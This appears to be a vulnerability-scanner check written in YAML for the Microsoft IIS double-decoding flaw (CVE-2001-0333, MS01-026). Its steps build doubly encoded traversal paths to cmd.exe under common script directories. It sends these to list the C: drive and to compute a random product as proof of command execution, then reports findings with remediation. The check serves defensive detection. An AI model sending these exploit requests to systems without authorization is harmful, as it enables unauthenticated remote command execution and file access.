# (OID 1.3.6.1.4.1.25623.1.0.10671, GPL-2.0-only).
#
# IIS decoded a CGI request path once, checked the decoded form for "../" /
# "..\", then decoded it a second time before mapping it to a file. A "\" (or
# ".") encoded twice — %255c, %%35c, %%35%63, %25%35%63, %252e — passed the
# check as "%5c" and became "\" afterwards, so a path under a virtual
# directory with execute permission climbs out of the web root to
# %WINDIR%\system32\cmd.exe, which IIS runs as a CGI with the query string as
# its command line (split on "+"). cmd.exe prints no HTTP headers, so IIS 5
# wraps its output, verbatim, in a "502 CGI Error" page (MS01-026, CERT
# CA-2001-12, SecurityFocus BID 2708).
#
# The NASL, on a host detected as IIS, tries 10 virtual directories × 5
# double encodings of
#   <dir>..<u>..<u>..<u>..<u>..<u>../winnt/system32/cmd.exe?/c+dir+c:\+/OG
# then the same 50 paths without the last ".." (variant reported on
# vuln-dev), and reports a reply containing "<DIR>" or "Directory of C".
# Same gate, same 100 paths in the same order and same command, with these
# deviations (stronger):
#  - the listing must carry a "<DIR>" entry line (whitespace, <DIR>, name) —
#    the one marker every Windows language prints ("Directory of" becomes
#    "Répertoire de", "Verzeichnis von" … on non-English builds) — and the
#    same traversal to a non-existent program must not return one (a
#    honeypot answering every /winnt/ request with a canned listing is not
#    reported);
#  - on a listing, the same path runs "set /a A*B" with two random operands:
#    the product computed by cmd.exe (never present in the request) proves
#    command execution — QoD 97. The listing alone stays QoD 75.
# Both commands are read-only; nothing is written on the target.
#
# CVE mapping: the issue also names CVE-2001-0507 (MS01-044 "System file
# listing privilege elevation": a LOCAL Trojan-horse DLL search-path flaw,
# AV:L). It cannot be tested over the network and is not what this feed
# proves; MS01-044 is only the later cumulative patch that also carries the
# CVE-2001-0333 fix. The feed names CVE-2001-0333 alone.
#
# CVSS: NVD has only a CVSS v2 score (7.5) for CVE-2001-0333.
uid: 11090379-3d32-49d1-b4e3-3969e7688878
name: "Microsoft IIS superfluous decoding command execution (MS01-026, CVE-2001-0333)"
description: |
  Checks whether a Microsoft IIS 4.0 or 5.0 server decodes a request path a
  second time after its security check, so that a "\" or "." encoded twice
  (such as %255c) slips past the check and lets the request climb out of
  the web root to run the Windows command interpreter (fixed by MS01-026
  and the later MS01-044 cumulative update). On a server whose Server
  header names IIS, the test requests cmd.exe through each common scripts
  directory (/scripts/, /msadc/, /iisadmpwd/, /_vti_bin/, /_mem_bin/,
  /exchange/, /pbserver/, /rpc/, /cgi-bin/ and the site root) with five
  known double encodings and two path layouts, asking it to list the C:
  drive. A reply holding a directory listing, while the same path to a
  non-existent program returns none, shows the traversal. The test then
  asks cmd.exe to multiply two random numbers on the same path: the correct
  product in the reply confirms command execution. Both commands only
  read; nothing is written on the target. The test stops at the first path
  that works.
cves: [CVE-2001-0333]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [iis, microsoft, ms01-026, ms01-044, double-decode, path-traversal, cmd-exe, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2001-0333"
  - "https://learn.microsoft.com/en-us/security-updates/securitybulletins/2001/ms01-026"
  - "https://learn.microsoft.com/en-us/security-updates/securitybulletins/2001/ms01-044"
  - "https://www.securityfocus.com/bid/2708"

steps:
  - id: init-home
    action: set_var
    var_name: home
    var_value: {status: 0, headers: {}}

  - id: home
    action: http_request
    method: GET
    port: "{{port}}"
    path: "/"
    follow_redirects: false
    tls_insecure: true
    timeout_secs: 10
    store_as: home

  # Same gate as the NASL (IIS detected from the Server banner): the 100
  # traversal requests are only sent to an IIS server.
  - id: gate
    action: script
    code: |
      let s = if "server" in home.headers { home.headers["server"] } else { "" };
      type_of(s) == "string" && ereg(`(?i)\bIIS\b|Microsoft-IIS`, s)
    store_as: is_iis

  - id: operands
    action: script
    code: |
      let a = rand_int(10000, 46000);
      let b = rand_int(10000, 46000);
      #{ a: a, b: b, prod: `${a * b}`, absent: "noctis" + rand_hex(6) + ".exe" }
    store_as: calc_in

  # 2 layouts × 10 directories × 5 double encodings, in the NASL's order.
  - id: init-dir
    action: set_var
    var_name: dl
    var_value: {connected: false, banner: ""}
    loop:
      count: 100
      var: i

  - id: init-ctl
    action: set_var
    var_name: ctl
    var_value: {connected: false, banner: ""}

  - id: init-calc
    action: set_var
    var_name: cl
    var_value: {connected: false, banner: ""}

  - id: build-path
    action: script
    condition: "is_iis"
    code: |
      let dirs = ["/scripts/", "/msadc/", "/iisadmpwd/", "/_vti_bin/", "/_mem_bin/",
                  "/exchange/", "/pbserver/", "/rpc/", "/cgi-bin/", "/"];
      let unis = ["%255c", "%%35c", "%%35%63", "%25%35%63", "%252e"];
      let dots = ["..", "..", "..", "..", "/."];
      let j = i % 50;
      let d = dots[j % 5];
      let u = unis[j % 5];
      let p = dirs[j / 5];
      for k in 0..5 { p += d + u; }
      if i < 50 { p += d; }
      p + "/winnt/system32/"
    store_as: trav

  - id: probe-dir
    action: tcp_connect
    condition: "is_iis"
    port: "{{port}}"
    send: "GET {{trav}}cmd.exe?/c+dir+c:\\+/OG HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: dl

  - id: dir-check
    action: script
    condition: "is_iis"
    code: |
      let b = dl.banner;
      type_of(b) == "string" && ereg(`\s<DIR>\s+\S`, b)
    store_as: dir_hit

  # Control: same traversal to a program that does not exist.
  - id: probe-ctl
    action: tcp_connect
    condition: "is_iis && dir_hit"
    port: "{{port}}"
    send: "GET {{trav}}{{calc_in.absent}}?/c+dir+c:\\+/OG HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: ctl

  # Execution proof: cmd.exe computes A*B (the product is not in the request).
  - id: probe-calc
    action: tcp_connect
    condition: "is_iis && dir_hit"
    port: "{{port}}"
    send: "GET {{trav}}cmd.exe?/c+set+/a+{{calc_in.a}}*{{calc_in.b}} HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: cl

  - id: verdict
    action: script
    condition: "is_iis"
    code: |
      let listing = |b| type_of(b) == "string" && ereg(`\s<DIR>\s+\S`, b);
      let ctl_ok = ctl.connected && !listing.call(ctl.banner);
      let traversal = dir_hit && ctl_ok;
      let cb = cl.banner;
      let exec = traversal && type_of(cb) == "string"
                 && ereg(`(?:^|[^0-9])` + calc_in.prod + `(?:[^0-9]|$)`, cb);
      if exec { "IIS_DECODE_EXEC" } else if traversal { "IIS_DECODE_DIR" } else { "" }
    store_as: verdict

  - id: report-exec
    action: match
    condition: "is_iis"
    source: verdict
    pattern: '^IIS_DECODE_EXEC$'
    on_match:
      finding:
        title: "Microsoft IIS superfluous decoding — command execution (MS01-026, CVE-2001-0333)"
        description: "A request carrying a doubly encoded \"\\\" or \".\" passed the IIS path check and was decoded a second time, climbing out of the web root to run cmd.exe: it listed the C: drive and returned the product of two random numbers it was asked to compute. An unauthenticated attacker can run any command as the IIS anonymous user (IUSR_<machine>) and read, alter or delete files the account can reach (CVE-2001-0333, fixed by MS01-026)."
        remediation: "Install MS01-026 (or the MS01-044 cumulative update / a later IIS rollup), remove execute permission from virtual directories that do not need it, and upgrade to a supported Windows and IIS version."
        confidence_delta: 0.67
        qod: 97
        evidence: "GET {{trav}}cmd.exe?/c+set+/a+{{calc_in.a}}*{{calc_in.b}} returned the product {{calc_in.prod}}; the same path with /c dir c:\\ returned a directory listing (<DIR> entries), while {{calc_in.absent}} on that path returned none."
      stop: true

  - id: report-dir
    action: match
    condition: "is_iis"
    source: verdict
    pattern: '^IIS_DECODE_DIR$'
    on_match:
      finding:
        title: "Microsoft IIS superfluous decoding directory traversal (MS01-026, CVE-2001-0333)"
        description: "A request carrying a doubly encoded \"\\\" or \".\" passed the IIS path check and was decoded a second time, climbing out of the web root to run cmd.exe, which returned a listing of the C: drive. An unauthenticated attacker can run commands as the IIS anonymous user (IUSR_<machine>) and read files outside the web root (CVE-2001-0333, fixed by MS01-026)."
        remediation: "Install MS01-026 (or the MS01-044 cumulative update / a later IIS rollup), remove execute permission from virtual directories that do not need it, and upgrade to a supported Windows and IIS version."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET {{trav}}cmd.exe?/c+dir+c:\\+/OG returned a directory listing of C: (<DIR> entries), while {{calc_in.absent}} on that path returned none; the arithmetic check did not return the expected product."
      stop: true

View these feeds on GitHub